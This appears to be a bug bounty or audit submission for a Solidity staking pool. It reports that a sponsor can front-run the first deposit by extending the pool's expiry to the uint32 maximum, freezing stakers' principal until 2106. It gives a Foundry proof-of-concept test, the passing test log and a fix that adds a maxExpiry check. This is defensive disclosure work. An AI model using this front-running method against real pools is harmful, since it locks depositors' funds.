FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Missing Expiry Slippage Protection Allows Sponsor to Lock Principal Until 2106

Author Revealed upon completion

Description

The setExpiry function allows the sponsor to modify the pool's expiry date before the first deposit locks it. However, the stake function lacks a maximum expiry parameter to protect the user's expected timeline, allowing a malicious sponsor to front-run the initial deposit and maliciously extend the expiry to type(uint32).max.

function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
[...]
@> expiry = uint32(newExpiry);
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
[...]
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
@> if (block.timestamp >= expiry) revert StakingClosed(); // Missing slippage check against user expected expiry
if (!expiryLocked) {
expiryLocked = true;
}
[...]
}

Risk

Likelihood:

This occurs when a malicious sponsor observes the first pending stake transaction in the mempool and front-runs it using setExpiry(type(uint32).max) while the associated agreement is in the UNDER_ATTACK state.

Impact:

The victim's deposited principal becomes permanently frozen and inaccessible until February 2106 because the sponsor can indefinitely stall the state resolution process without compromising any trusted registries.

Proof of Concept

// BattleChainFactoryIntegration.fork.t.sol
function test_SponsorFrontRunsFirstStake_LocksFunds() public {
// Setup initial pool with a normal 90-day expiry
uint256 normalExpiry = block.timestamp + 90 days;
vm.prank(sponsor);
pool.setExpiry(normalExpiry);
// Registry enters UNDER_ATTACK state
registry.mockSetState(ATTACK_REQUESTED);
// Victim prepares the first stake based on the 90-day expiry observation
uint256 amountUser = 1000e6;
usdc.mint(victim, amountUser);
vm.prank(victim);
usdc.approve(address(pool), amountUser);
// Sponsor front-runs the victim's pending stake transaction
vm.prank(sponsor);
pool.setExpiry(type(uint32).max);
// Victim's stake executes successfully but is bound to the malicious 2106 expiry
vm.prank(victim);
pool.stake(amountUser); // @> Exploit: Staking succeeds against modified expiry
// Verification: Expiry is max and funds are locked
assertEq(pool.expiry(), type(uint32).max);
vm.prank(victim);
vm.expectRevert(WithdrawsDisabled.selector);
pool.withdraw(amountUser);
}

Logs:

forge test --mt testSponsorFrontRunsFirstStakeAndLocksPrincipalUntil2106 -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/fork/BattleChainFactoryIntegration.fork.t.sol:BattleChainFactoryIntegrationForkTest
[PASS] testSponsorFrontRunsFirstStakeAndLocksPrincipalUntil2106() (gas: 741126)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 948.29ms (2.00ms CPU time)
Ran 1 test suite in 952.45ms (948.29ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint256 maxExpiry) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
+ if (expiry > maxExpiry) revert ExpiryChanged();
_assertDepositsAllowed(_observePoolState());
[...]
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!